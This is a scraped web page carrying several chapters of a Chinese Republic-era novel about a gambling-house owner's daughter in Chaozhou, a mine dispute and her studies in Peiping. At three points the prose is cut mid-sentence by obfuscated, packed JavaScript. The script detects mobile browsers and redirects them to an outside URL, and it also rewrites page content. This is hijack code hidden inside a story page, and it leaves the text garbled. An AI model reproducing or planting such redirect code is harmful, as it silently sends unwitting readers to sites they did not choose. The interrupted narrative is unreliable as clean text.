《听经[民国]》 3. 斋饭 这位金太太,是所有成功嫁进金家的太太中最年长的一位。金文彬当初并没有考虑到要让最会管家、最贤德的女人当正牌太太,也没想要站在金雪池的角度、挑个最能替代母亲的——他觉得有自己这个老豆就够了。甚至没挑出自己最喜欢的,他个个都挺喜欢。为了图省事,干脆就按岁数从上到下排下来,最大的续弦当正牌太太。 二姨太为此不平了好一阵——她才是众人中最早跟金文彬的。后来看金文彬对金太太没有特别的地方,金太太与她们之间,也没有其他大家族主仆间那种不可逾越的鸿沟,遂释然了。 金太太却不这么想。她当了太太,自居身份,总想当金文彬的贤内助,替他出谋划策、打理生意。问题是金文彬把她带回家,完全是因为她有一双长腿,而不是因为她有一颗脑子。 一年后,金太太生下了一个儿子,取名为金鹏举,是金家的长子。她以为自己总算可以扬眉吐气了,渐渐又觉出不对:金文彬固然喜欢这个儿子,但远不及对金雪池的喜欢。岂有此理?她又劝说丈夫:“你也该亲自带着鹏举玩一玩、说说话,不能总是我和奶妈陪着,男子汉的成长需要父亲。” 金文彬疑惑道:“我昨晚不是才抱过鹏举?” “你抱着鹏举跟大小姐聊天。” “哦,她跟我讲班上的发生的事,太可笑了,她们班的英文老师——” 金太太发现自己的情绪一点都没他接收到,一急,口不择言道:“你尽着栽培她,难不成这么大的家业,将来尽数当嫁妆给她带到夫家去?” “哈,”金文彬冷笑一声,“你打这个心思!将来赘一个回来不就得了?” 金太太大为恐慌,并试图将这份恐慌传给每位太太,把她们拉拢到自己的战线上,共同对付金雪池。二姨太觉得这是完全没有必要的,只要自己能在金家吃上饭,孩子被称一句“少爷”“小姐”,她就完全满足了。“和大小姐有什么好斗的?那是老爷经济困难的时候拿小包袱背在背上的,好比明太祖和朱标,后来生的孩子可以比吗?”她引经据典,以便金太太能更好地理解父女俩的关系,末了又说,“何况,大小姐挺好的。她就是当家,也不能短了我们。” 二姨太拉不拢,五姨太没心没肺,她只好去拉四姨太。四姨太倒是理智,劝慰她说:“老爷只说让她留在家里,并没有说让她当家呀。家业有她的一份,那是肯定的,把她挤出去没门儿;但到底是个小姐,不能真的替老爷管理赌坊。老爷也不会舍得。我看,你的鹏举还是有大希望。” 这话说得中听,还站在金文彬的角度,指出一个“不舍得”,不是盲目的乐观。金太太心里安定不少,也忍不住黯然神伤:人的命运就是如此不同。大小姐命好,什么苦都没吃到,就成了老爷的宝贝;自己倒是早早被父母从家中赶出来做事,如今在金家讨口饭吃,也得不到丈夫的偏爱和承诺。 至于说三姨太,这么多年过去,她始终没诞下一儿半女,金文彬喜欢哪个孩子都与她无关。然而她是讨厌金太太的。现在听金太太说这种话,便冷哼一声:“只要大小姐有空,老爷总是主动撺掇她出去玩,可不是大小姐求着老爷带她去!” “大小姐毕竟是学生了。要论空闲,我们雪檀——” “哦,我知道你想说什么。”五姨太笑嘻嘻地插话道,“不过薛先生只比大小姐大十岁,比你们雪檀快要大二十岁了,可以做她阿爸了。” 金太太猛地闭了嘴,很恼怒的样子。四姨太出来打了个圆场,“我想,老爷并没有这层意思。大小姐才多大?何况薛先生又阔、又一表人才,绝不愿意到我们这里做上门女婿。” 门外响起汽车声,各怀鬼胎的太太们对视一眼,立刻散了。 对于家中的暗潮,金雪池多少知道一些。但当面都是友好、和气的,那就够了,她本来就不指望这些姨娘对自己有多少真心。何况她知道自己占着便宜呢,在老豆的庇护下,衣食无忧一辈子;姨娘们倒是煞费苦心才进了金家的门,也不容易。 不过今晚,她一点也没想到自己随客人出门引发了姨娘们的多少联想,她什么都想不到了,数着时间等第二天早上。天光刚亮,就从床上蹦起来梳洗,甚至企图往唇上涂一点胭脂。效果不太好,亮粉色胭脂显得脸更黑,又匆匆擦掉了。 在车上,金文彬问薛莲山:“今早好些了么?” “谢谢关心,晚上就好很多了。” “昨晚我在院里喂鲤鱼,就听到你一直在屋内咳嗽。想来是水土不服,潮州又热又湿,湿热之邪会伤肺。上海前几天的气候怎么样,不至于像这里一样热吧?” 金雪池冷不丁插话道:“薛先生不是从上海来的。” 金文彬已经习惯了她这样,前面貌似在神游天外,突然又语出惊人,表明她不仅在听,还听出了结论。薛莲山倒是吃了一惊。要是普通的小孩子说句俏皮话就算了,问题是他确实不是从上海来的,为避免麻烦,正准备随口搪塞出去;这样微不足道的小细节,居然会被揪出来。他忍不住看了金雪池一眼,小姑娘也正看着他。若追问“你怎么知道的”,那太傻、太小家子气了。 他只好说:“金小姐猜得真准,我确实是从香港来的。” 这个地点更是完美地印证了金雪池的推断,让她在心中很是快乐了一阵子。第一日,他的香水味非常之浓;第二日,减去了绝大半,只隐约能闻到;第三日——也就是今日,更渺茫,但和昨天差别不大。由此观之,他那香水近似呈指数挥发,第一天挥发速度极快,后两日速度平缓。 从上海到潮州,至少要三天。他是出门时涂的香水,倘若真过了三天,前三天的挥发速度会比来到这里的第一天还快得多,那该有多浓?在香水池里腌半年恐怕也没那么浓。应该是周五早上出的门。距离潮州最近,又是他这种大老板会去的地方有哪里呢?香港或者深圳。 金文彬并不追着问为什么,只说:“哦?香港和这里差不多,兴许不是因为湿热,不然晚上就请个大夫来看看。” “金先生,你太热情了,真的不必,我有时候就会莫名其妙咳一阵。” 这回车程就快得多,几句话才说完,就到了拈花寺。方丈闻声而来,亲自迎接。此人法号虚云,着朴素的灰僧衣,一番介绍、寒暄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921365|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,将人引到院中。小沙弥端来了几碟自制的盐渍青梅、炒花生,又上了茶壶。 “正好我新焙了土山茶,味道不错,只是可能略寒酸了些,施主勿怪。” 金文彬忙说好得很,正准备起身,薛莲山已然帮忙提起炉子泡茶;摇了摇茶壶,又替大家倒。虚云长老仍站在他身边等,金文彬也站起来了,金雪池刚想拈一颗炒花生,见势不对,忙跟着站起来。然而她刚起了一半,大伙儿又坐下。她又跟着坐下。 “金施主,家中可还好?我们每周都会诵经,替府上祈福。” “家中一切都好,近来还有一件喜事:发现了一口矿。因为薛先生的帮助,有很大概率争取下来。” 虚云长老不置可否地笑笑,“金施主还嫌生意不够大呀?” 他双手合十,微微笑道:“金某领兵,多多益善。” 这一动,正好叫戒指迎上了太阳,灿然一片,辉光满手。金雪池被闪得低下头,把茶杯往左手边推了推,薛莲山的倒影就入了小小一方水中天地。他正仔细倾听二人的对话,而她一个字都没听进去。 茶过二巡,小沙弥把他们请到斋堂边的小间去。金文彬开玩笑说:“薛先生,可不是我舍不得钱,只请你吃青菜,不请你吃肉啊!这里的斋饭师父原在西膳房掌勺,给慈禧做斋饭;八国联军进北京后,他云游四方,到了广东,最后被我招到这里来。我在这里请客,乃是以宫廷礼遇对待你。何况寺内的素斋好比药膳,今天回去,你保准不咳了。” 薛莲山摇了摇头,“酒肉宴饮哪家馆子都能做,金先生才是真的有心意。此般清供,胜似金齑玉脍。” 前两道菜还是经典的素斋菜式:冬瓜盅,清炒木耳。从第三道菜开始,渐渐展现出了宫廷气质。其实那宫廷不体现在菜品的口味上,只体现在制作的繁杂程度上,以复杂的方式做一道简单的菜,嘿,这就叫宫廷气质。好比豆腐上雕一个“禅”字,好比往莲藕的七孔里塞薏米...... 最让金雪池不能理解的是,掏空豆芽,往里填山药泥。豆芽那么细,掏空它,简直算是一种微雕技艺,需花费一早上的工夫;那点小位置里填了山药泥,其实也尝不出来。然而金文彬就很喜欢这种宫廷气质,他夹了一大筷子豆芽到金雪池碗里,同时咏诵道:“芽中有空,空中有芽,嚼得菜根,遍地莲花。” 金雪池叹了口气。 “你瞧,薛先生,这孩子就是嘴巴刁。她这样瘦,我简直把山珍海味供给她吃,什么都不吃,牛奶也嫌臭,鸡蛋也嫌腥,就爱吃那种油炸的东西。我说油炸的不腻么?她说也腻啊,正好配汽水就不腻了。我看这不叫搭配,这叫以毒攻毒。” 薛莲山笑道:“小孩子都这样,我也是近些年才口味大变。金先生,珍惜吧,现在还有姑娘缠着你买汽水呢,以后就不搭理你了。” “唉,现在就不搭理我了!” 他在金家住了近一周,每天都随金文彬出去,看勘探队的情况、约人吃饭、谈竞拍问题。金雪池上学去了,白天看不到他,晚上回来,在院内也就是点头之交。周五回来,就听张妈说他已经上了火车。 4.招生 入了夜,潮州城才能迎来几丝清凉。屋子的门、窗都开着,床铺的帘子也高高挂起,金文彬着寝衣盘腿坐在沿上,闭着双眼,听到木屐的声音由远及近。招呼也不打一声就进门,是他的大女儿无疑了。 他仍闭着眼,几秒后,听到金雪池正拿他桌上的枇杷剥着吃。只能悻悻地睁开眼,注视她几秒,招呼道:“妹妹,你过来——什么时候放暑假?” “后天去学校拿成绩单,然后就放了。” “前阵子太忙,我都没问你,考得如何?” 金雪池想了想,“还行吧。” 她说“还行”,那就完全不需要担心。金文彬又等了一会儿,她开始吃第二颗枇杷。他实在忍不住,“你就不问问老豆上周去做什么了?” “去中山大学了?” 他顿一顿,最终笑出来,“不错,我没有把样本全寄到怡和洋行去,留了一部分,仍寄到中山大学。最后怡和给我的报告说含锡量是7.6%,中山大学说是8.1%。你再猜猜,谁说了谎话?” “差别不太大。再说,国内的设备确实不如外资洋行的好,中山大学可能测不准。8%左右的含量是好还是不好?” “是很好的。回来后,我就开始准备竞价的事。往常竞价前大家会沟通好,免得把价格抬高了;这回我和薛先生、郝老板商量好,我赢采矿权,他们入股。” “你别和薛先生合作吧。” “哦?”金文彬大感意外,“你那么迷恋人家,还知道他要不得啊?” 金雪池简直是吓了一大跳,手上一用力,把枇杷肉挤掉在了到地上,又连忙弯腰去捡。金文彬见她这个反应,乐得前仰后合,直拍床沿,“你谁都能瞒过去,瞒不过我!哈,我是不是从小教你,拿了牌,要像洋人那样讲究''poker face''?还是功夫不到家。薛先生嘛,在你们妹妹仔眼里,确实一表人才、风度翩翩。那你说说,为什么不和他合作?” “我不跟你说了。” “跟我说嘛。” 金雪池拉长一张脸,手上还捏着个脏枇杷,抬脚要走。金文彬跳下床,拉住她的手臂,一把给人拽回来,也没感到多少阻力。一来是她轻,二来是他把她的脾性琢磨明白了,就像只家猫,虽然总摆出不情愿不感兴趣的样子,但是你硬薅过来,她也没什么反抗行为。 “你不说,我来说。其实吧,薛先生早给我拍了电报,说了含锡量是8.1%,又解释说因为报告给我、郝老板是一样的,一式两份,就让郝老板误以为含量低一些。他要是放弃跟我抢了,正合我意。他要是执意跟我抢——”金文彬想了一想,没往下说。 不过话说到这里,金雪池算是听明白了:他刚才故意卖个关子,就是想看她出言卫护谁。老豆能识破她,她识破不了老豆,只好甘拜下风。“那么,他是和你同心协力的?” “目前是吧。这人厉害,在香港的鉴定所说得上话,平常与我交谈时,言语之老成,都让我时常忘记他差我一辈。这回见过后,我既是信任他、又是信服他,难怪他的朋友多!他与人交有这个态度,至少是不会在明面上坑人的。”金文彬啧啧感叹一阵,话音一转,“但站在你的角度,我要说他坏话。你知不知道,他是个不婚主义者?” 金雪池头一次听闻还有这样的主义。 “就是跟女人好一场,但不负责。” 哦,那就是万花丛中过——他确实像万花从中过的,香喷喷。 当然,后来还发生了很多事,金文彬没有同她说。他出面和香港买办签订了合同,签的是一个价,告诉郝老板的是另一个价,账也记两套。而郝老板也不是省油的灯。他在这行业里干了多年,有现成的人手,所以负责人力运输这一块。那些人也确实对他忠心耿耿,搬了五十担矿上船,在九龙卸货时总少几担。长年累月下来,不知道私贪多少。 由此可见这二位的前瞻性,都下了黑手,才打了个平手。但凡有一方诚实守信,吃亏了都不知情。 几年后的某个夜里,工人喝醉了酒,奸杀了一位过路女性。那位女性又恰好是一位乡绅的小老婆,没法草草了事,直接闹到警察厅去了,弄得矿场停工了好一阵。金文彬立刻申明工人全是郝老板的工人,工人作乱,是郝老板管理不当;又怂恿警察把那群工人翻来覆去查了一遍,连私贪的事情都查出来了。 郝老板抓不到金文彬的把柄,究其原因,还是薛莲山跟香港的关系固若金汤,谁也不乱说话。眼见着自己要被踢出来,他开始乱咬人,在赌坊上面做文章——赌坊是多么五毒俱全的地方,深入地查一查,还怕查不出问题么? 两人各自给薛莲山拍电报,请求支援。金文彬说,还需要你出来说句话,矿场就没有他的份了!郝老板说,当初你给金文彬做了担保,我才答应让标给他,他先对我动了手,你不给个说法? 隔了好多日,那边才悠悠回复一句话:薛先生不在国内。 金文彬回去琢磨了一宿,算是琢磨明白了:合着这家伙就要看他们鹬蚌相争,等着渔翁得利呢!他们要是没争出个结果,他还是照拿他的分红;他们中要是决出了胜负,他也不费吹灰之力扩大了份额;他们要是两败俱伤......那他白捡一座矿场。 到了六月,这场战事暂时告一段落。无论郝老板怎么挑衅,他也不回应,因为家中发生了一件大事:金雪池高中毕业了。 外界风刀霜剑严相逼,可一回到这方院落里,看到热热闹闹的女人孩子,他觉得什么都值得。尤其是金雪池,他的宝贝,他的妹妹仔,一下子长这么大了。成绩单拿回来,除了党义是78分、英文是86分,其他门门功课都上了90。老师还特地登门拜访,说他的女儿有大造化,可以考大学试试看。 金文彬大摆宴席,请了她半个班的同学来吃饭。金雪池是很窘的,因为她固然在同学中口碑很好,但说是“朋友”,好像总差一口气。更窘的是金文彬当晚喝多了,发表了一番演讲后,痛哭流涕。同学们吓了一跳,笑也不是,走也不是,继续吃也不是,装作很忙的样子擦嘴。 金太太和金雪池左一个、右一个,急着把他拖回房。路上,他仍嚷嚷着:“长......这么大!像你妈,你妈......” 她屏住呼吸,很想听到这番关于母亲的内容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929293|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。然而金太太响亮地开了腔:“还叫!也不怕大小姐的同学笑话你!赶紧上床躺着去吧,我给你把鞋脱了——三妹呢?三妹快去打盆热水,绞个毛巾来......”嘴上一边说,手上一边拽,吹锣打鼓地把金文彬弄回房,还支使地姨太们满院乱跑。 这里用不着金雪池帮忙了。她站在原地,怅然若失,被夹在屋里的热闹、筵席上的热闹两团热闹之间,然而哪一团热闹都不是她的。 那些同学,不出意外,以后不会再联系了。尽管父亲总教育她说人脉很有用,也该是在会用的人手里有用。这些姨娘,往后也有很长一段时间不会相见——是的,她决心去考大学。 他问金雪池想考哪一所大学,金雪池说考上哪所上哪所吧,再细细一问,她其实不知道具体有哪些大学,更别提这些学校的自主命题考试在什么时候。 这死丫头就是这样,徒有聪明劲儿,但散漫、毫无规划。 这两项特质结合起来其实很糟糕。倘若她脑子不好,那傻人有傻福,就在金府的富贵檐下安安生生待一辈子;倘若她行动力强,那么她可以做到她想做的绝大多数事情。偏偏她知道自己聪明,有心气,却只慢慢朝着目标踱两步;发现达不到了,又有比常人更幽深的遗憾悔恨,堪称一种精神折磨。 譬如,她其实爱薛莲山。但她既没法下定决心从此不爱他,也没试图与他搭过话。 金文彬觉得她太不靠谱,亲自出马,打听到了各高校的招生信息,又和她一起选出了几所心仪的。七月初,把所有工作托付给副手代管,规划好了时间、行程,陪她往北方跑,参加了时间不冲突的每一场招生考试。先是广州的中山大学,离家最近,是她的首选;又赶火车去了北平,考了辅仁大学、燕京大学和北京大学。本来还试试上海的学校,时间实在来不及。 他自己没上过学,只从报纸上看过这些学校的赫赫威名。北平天气热,他听金雪池讲考试题卷,身上就一阵阵地出汗,“你会不会眼高手低啊?” 金雪池做题时感觉还好,但也被他说得有点不安。她从考场出来,有其他的考生与她搭话,才知道考大学之前是要上辅导班的:往年的学长学姐有经验,会准备资料,开班对口授课。她只顾着自己埋头苦学,不跟同学聊闲天,把这么重要的信息错过了。 金文彬听了简直要跳起来,指着她的鼻子骂:“这都不关注?那你毕业后说准备考试,准备什么了?” 她争辩说:“我买了几本书,把题做了一遍。” “哎呀!我告诉你,选择高于努力,找对方法也是高于下死功夫的。有去年考上了的学长授课,不知道是多宝贵的经验,你自己在家做题!” 金雪池不听他骂,带了书和笔,到楼下的冷饮店复习,顺便买一杯冰淇淋吃。她一走,金文彬失去了唠叨对象,只好自己调理好心态:社科的知识范围宛若茫茫大海,学长学姐划个范围、吐露些老师的偏好,那确实是大有帮助。但她考的是数学,该是几就是几,没有需要背的地方,没有偏好。 如此忐忑了一个多月,八月下旬,酒店前台一次性拿了四封信给他们——全考上了。 5.北大 金文彬大为拜服,虽然女儿方方面面都不靠谱,但读书的本领实在靠谱。不是夸耀,他真觉得读书是她唯一的出路。指望她到社会上做事,那是行不通的。 接下来就该择校。综合实力对比下,中山大学和辅仁大学惨遭淘汰;剩下的燕大、北大都好,不过那燕大本质上是个教会大学,很多课程都采用英文授课。金雪池用英语进行日常沟通都有困难,更别提用英语学数学。她最终选了北大。 临别前,金文彬帮她置办好了所有的被褥衣物,甚至还买了几套首饰和化妆品。金雪池从小土到大,也不知道怎么挑化妆品,就由着店员天花乱坠的一顿吹嘘,买她们推荐的。适不适合她不知道,反正贵。至于说首饰,那也沿袭金文彬的风格,要大的、粗的、金光灿灿的,她觉得挺丑,也不戴,就收在包裹里。 “老豆走了啊。”火车站上,金文彬立在他的行李箱旁,本来就黑瘦,现在生出了白头发,愈发显得苍老,“你跟老师同学处好关系,生活上有什么苦难,大胆开口求助。只要你大方,别人都愿意帮助你,知不知道?缺钱就管家里要。” “知道了。” “还有,每个月往家里写一次信。不要去舞厅这种地方。不要搞自由恋爱,我不替你把关,你被男生骗了都不知道......我自己也是第一次来北平,可惜急着回去,待不到冬天。你名字里有个‘雪’字,是不是?广东人世世辈辈没见过雪。我以前就跟你妈妈说,等我发达了,带她到北海公园看雪。” 她脑子里叮的一声,抬头望向父亲,他望向天空、微微出神,好像是在缅怀亡妻。但因为表情太无懈可击,大概其中真心不多。 金雪池好像忽然就悟到了poker face的秘诀,不关心。 北海的雪是她自己去看的。这一学期里,她并没有交到朋友,因为只会说广东话,她听得懂别人、别人听不懂她,偶尔还要嘀咕一句“广东佬”。不过她确实也想改掉口音。之前听薛莲山就是说的国语,发音那样文雅、谈吐那么潇洒,她真愿意像他一样说话。 到了寒假,金文彬写信来说假期别回家,就留在学校里好好学习,开片咯。 八月底回去,他就长舒一口气:终于把女儿送到北方去了,可以好好对付姓郝的。矿场停工已久,官司一场一场地打,那个神龙不见首尾的薛莲山始终装死。最后他失去耐性,带赌坊的人从罗汉山底下围上去,赶走了所有矿工,亲自恢复生产;工头抓起来沉海,没忘记割下一只耳朵,放郝府门口。 郝老板连夜消失了。 这就是金文彬处理的事情。他提防着郝老板杀个回马枪,又忙着办理各种文件,把郝老板的那份尽数抢来,觉得女儿这个冬天还是不回来为妙。 所谓“开片”,是一种黑话。过去,金文彬在金雪池脑袋上拍拍,说“开片咯”,她就知道要跑到三楼把门锁起来。楼下会气势汹汹地涌进来一波人,找出千的、欠债的、生事的算账,砍得血腥气一直漫上三楼,从门缝里钻进来。她一吸一呼,都觉得别人的血在自己肺里走了一遭。 一切寂静后,有人踩着旧楼梯往上走,上一阶,她的心脏就往上提一寸,几乎到了嗓子眼,快要吐了。锁舌咔哒一响,跳出一个笑容满面的金文彬,“锵锵!有害怕吗?” 金雪池很严肃地点点头。 他的表情也严肃起来,“不要怕,老豆是你的守护神。” “永远都是吗?” “永远都是。” “你老了呢?” “那是老守护神。” “你死了呢?” “守护鬼,更强。” 日久天长,她就不提心吊胆了。譬如现在,金雪池只是后悔没选燕京大学,毕竟是洋人赞助的,基础设施相当好,有锅炉集中供暖。北大就没这种好条件,只能自己在宿舍里烧炉子。舍友们又都回家去了,她怕自己一不留神睡着会煤气中毒,一日也只能烧几个小时。作为南方人,她从未经历过北平的冬天此般严寒,耳朵、手上都长了冻疮,连笔都握不住。 遂满怀幽怨地写信给老豆卖惨。老豆大为心疼,迅速寄来一百块,叫她赶紧买些冻疮膏和手套帽子,下馆子吃点好的。 其实她不能适应的不止是气候。 一年级的必修课只有高等算学、数学分析和立体几何这三门,打基础用的。然而根据校长蔡元培“通才教育”的理论,学生必须进行跨学科选修。她在一众文史哲课程里斟酌良久,选了一门逻辑学、一门中国通史,原本打算期末背笔记了事。结果教授们讲课逸兴遄飞,不会停下来说一句“这里该记”,一节课下来她也没记几个字,期末考试只能擦边及格。 唉,说得像她专业课就考得很好一样,也就是八十多一点。金雪池潜意识里并不把同学们太当一回事,结果几场小测下来就服气了,人外有人人人人人人......大半个班的人。 学生活动也有不少。学术社团会定期举办讲座、辩论会和读书会,北大同时也和北平其他高校联动,举办跨校活动。不过这多是文科学生的主场。金雪池去旁听过一场关于“中国社会性质”的讲座,先是教授在上面讲,后有两个男学生从台下爬上去,据理力争,硬生生把讲座办成了辩论。 她非常之佩服这些人能在短时间内组织词句、串联逻辑、旁征博引,要她说,先别说她肚子里压根儿没墨水;就算是储存了几百本书的内容,也不知道能不能迅速拎出其中的一句话来支持自己。这样的活动,去晚了,礼堂里还没有座位,只能扒在窗外听。她吃过一次苦,收获了一头雾水,后来再没有去。 不那么学术的活动当然也有。旧式的戏曲、新式的话剧,每逢圣诞、元旦这样的节日,还和燕大、北师大女校联合举办舞会。金雪池原来不觉得自己的思想很保守,现在到了这样的环境里,渐渐觉出了几分意思:她认为化浓妆到舞台上又唱又跳、和男学生搂着跳舞不太妥当。这样的活动她也不曾参加。 整个世界的风四面八方而来,在北平上空来回呼啸;吹走了一个凛冬,吹不掉她身上的一个潮州。 第二个学期里,她成日盼着回家。金文彬回信安慰说可以回了,你不要想着这个,把心思放在学习上,你看你上学期成绩多么糟糕!等放了暑假,我们全家去火车站接你。 金雪池看到“成绩糟糕”那几个字时嘴角抽搐了一下,真是站着说话不腰疼。 期末考试之前她就买好了回家的火车票,同时拍电报给金文彬叫他接。一拿到成绩单——虽然分数也不高,但总比上学期好些,她就坐上火车逃之夭夭了。 等会儿见了老豆,就把稻香村的点心蒲包塞他手上。她都能想象到他的反应。 然而拖着大包小包挤下车,她在月台上张望一圈,并没有看到家人的身影。只好自己找了人力车夫,讲好价钱,一辆运行李、一辆运自己。运自己的车落在后面,运行李的车先到了金家门口,当啷一声,车夫直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933604|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把辕杆撒开了。 “你是这一家的小姐?”他回头冲她喊道。 金雪池一声“对”没说出来,一扭头,顺着凉意滑进了肚子里。那木雕门楼都被烧黑了,牌匾倒扣在地上,碎成两半。她急着往里走,被车夫往回一拉,差点向前栽倒。 “还没给钱呐!”他将她扶正。 金雪池直接一人给了一银角,抬腿跑了进去。院内空无一人。箱箧是被翻开的,床柜桌椅坍塌,为了泄愤,上面还有很多刀砍的痕迹;院内的地面燎黑一片。连鱼缸都倒了,那两尾金文彬最喜欢的锦鲤毫无生机地在地上躺着,干了缩了腐臭了,几只苍蝇围着飞。 她执拗地检查每间屋子,想找到家人留下的字句,可全无线索。想来也是没有。 从火车上下来时她就满身汗了,现在站在阴凉地里,她身上仍在一阵一阵地出汗,几乎形成一层滚烫的水圈,裹着人体。金雪池取出手帕擦了擦脸,只觉得指尖都是麻的。 没有管放在门口的行李,她直接去了本区的公安局。进了大门,办公台后是空的,两侧的小门又被滑动铁门锁上了,只留着她对墙上“天下为公”的书法干瞪眼。她回到门口,树荫下有个穿警服的老头在掺瞌睡。 “阿伯。”她小声叫。 老头没醒,她继续叫,叫着叫着,心里有点明白过来了,眼泪也跟着出来了。那老头忽然睁开眼,往地上啐了一口,“他们吃饭去了!” 金雪池只好回到办公台前等,虽然太阳晒不到,但也不透气,汗水几乎把她洗了一道。她一直留着泪,因为附近没人,小声呜咽了几声,接着一发而不可收拾地哭起来。又热,又饿,又绝望。等了两三个小时也没有人来,她又回到树下,含着泪开口说:“还没有吃完么?” “不知道。” “我——我是金家的小姐,你知道金家吗?就住在城东,我们家很大一个‘四点金’院子,我阿爸金文彬是开——” “哦。”老头总算是坐起来,打量她好几眼,“你们家前几日遭了贼人,大晚上,啪啪啪地放枪。” “他们人到哪里去了?” “不知道,反正没看到尸体。警察在办案,啊,目前正在侦查。” “那什么时候可以出结果?” “不知道。我是个看门的。” 金雪池六神无主地回到家,把行李箱拎回自己的房间,把被褥拿出来。想了想觉得不对,又把被褥放回去,叫车去了最近的宾馆。做完这一切后,她勉强冷静了些——没有尸体,兴许他们逃走了,这是好事。接下来该做什么?找亲戚?金文彬的老家在广州,也没带她回去几次,亲戚几乎不认得。取点钱出来?从来都是金文彬直接把钱交到她手上,她不知道金文彬的钱在哪。现成的金银,全被抢走了。存在银行里的,她取得出来吗? 这一想,她更加六神无主,又想哭了。肚子很不合时宜地响了一阵。从今天早上到现在,她还没吃过东西。好,先不管远的,先下楼去买点吃的。 天已然黑透。海风吹在脸上,并不清爽,却有一种黏腻感,像是巨型动物的舌头在舔她,伴随着阵阵腥气。楼上某户的无线电在放《陈三五娘》,临街店铺在捶打牛肉丸,骑楼的廊上,两个穿香云纱的女人在逗孩子。十几个小时前她满心欢喜地想要回到这其中来,然而现在,什么都与她无关了。 她进了一条巷子。忽然,一只手从后捂住她的嘴,另一只手抱起她的腰,将她塞进车里。 6.重逢 车门砰地一声关上。简直是伸手不见五指的黑,她头晕目眩、身子阵阵发虚,连上下都分不清了;等被那人提着坐直,张嘴就要喊。 “不要叫。”驾驶位上坐着的人忽然开口,也不回头,“你是金家什么人?” 金雪池迅速认出了这声音,好像这么多年来一直能听到这人说话似的,其实总共也就听他说过几句话。心脏本来紧锣密鼓地跳着,在短暂的停顿后,变本加厉,几乎要把她的胸骨撞出响声。在这样逼仄的空间里,任何讯息都能放大百倍,就像他身上淡不可闻的香一样,在她看来,简直酽然。她真怕自己的动静全被他们听了去,不知道谁也没留心。 “金家大小姐。” 那人看了一眼后视镜,“这么大了。不要怕,你小时候见过我,我姓薛,还记得吗?” “嗯。” “不记得也没关系。你去了金家,又去了公安局,已经被仇人盯上了。今晚跟我回去。明天天一亮,我会替你买最早一班火车——不管是去哪的,给你一笔钱。自己找份生计,不要再回潮州。” 黑暗里,她又静静流了满脸泪,“我父亲怎么样了?” “不清楚。几天前,矿场的经理给我拍电报,我才知道这件事。我也是刚到。” 薛莲山发动了车子,一把从狭窄的巷子里倒回大路上。并不长的距离,他开了半个多小时,绕了许多路。车子最后停在一堵墙后面,左侧车门一拉开,正对着就是宾馆的前廊。 薛莲山自然还是很绅士地替她开门,把她扶出来;他的手刚握住她的手腕,轻轻一拉,自认为有千钧定力的金雪池就动了。谁知道他把我带到他的房间去干什么?谁知道他是个什么人?真的有人在盯我?难道不可能就是他?一连串疑问在脑中大喊大叫,而她就是跟着他走。 到了楼梯口,他忽然回身,向她伸出一只手,“把宾馆的钥匙给我好吗?我让定青把你的行李取过来。” 她机械地掏出钥匙。后排那个叫定青的伙计接过钥匙,钻进驾驶室把车开走了。薛莲山这回就没有牵她,上了三楼,一进门,先拉上窗帘,再开灯。 乍起的亮光刺激得她闭上眼,掏出手帕,顺手把汗和眼泪都抹干净了,还理了理鬓发。 “薛先生,”她慢慢开口说,“是谁放的火?郝老板的人吗?” “应该是。” “那么,你这一趟来,是找建设厅谈判,接管矿权的。” 薛莲山正在用一块绢布擦眼镜,动作毫不受影响,“我不明白金小姐是什么意思。” “和你有关吗?” “没有,我的资产很多,没想起这么远的地方有一座小矿。一开始我就说全凭他二位做主,鄙人只在年末拿点分红,不必征求我的意见。”他不紧不慢地回击道,“还有,金小姐,你也不是小孩了,该明白成年人要对自己的行为负责。金先生如何行事,需要我教吗?你也该对自己今天的冒失负责,我出手相助,已是分外之情。我也不从你这里要什么,明早——” 薛莲山戴上擦好的眼镜,在灯光下第一次看向金雪池,然后,他改变主意了。 因为常年待在江浙沪和京津,他的女朋友也以这几地人为主。在他看来,各地的男子丑得相似,而不同地域的女子各有各的美法。江苏女人脸型流畅,肤色白,像瓷碗里的白汤圆;浙江女人的鼻子最漂亮,又薄又翘,从侧面看隐隐透光,是流转的翡翠扣;北平女人血气沛足、肩颈圆润,是宫墙上的红灯笼;天津女人面长,有一番成熟的风情,是瓶上的描金画。至于说上海的女人,又有南人的好皮肤,又有北人立体的五官,加之打扮时髦,简直找不出几个丑的。 朋友对他说:“没见识!你知不知道,粤东最出美人?” 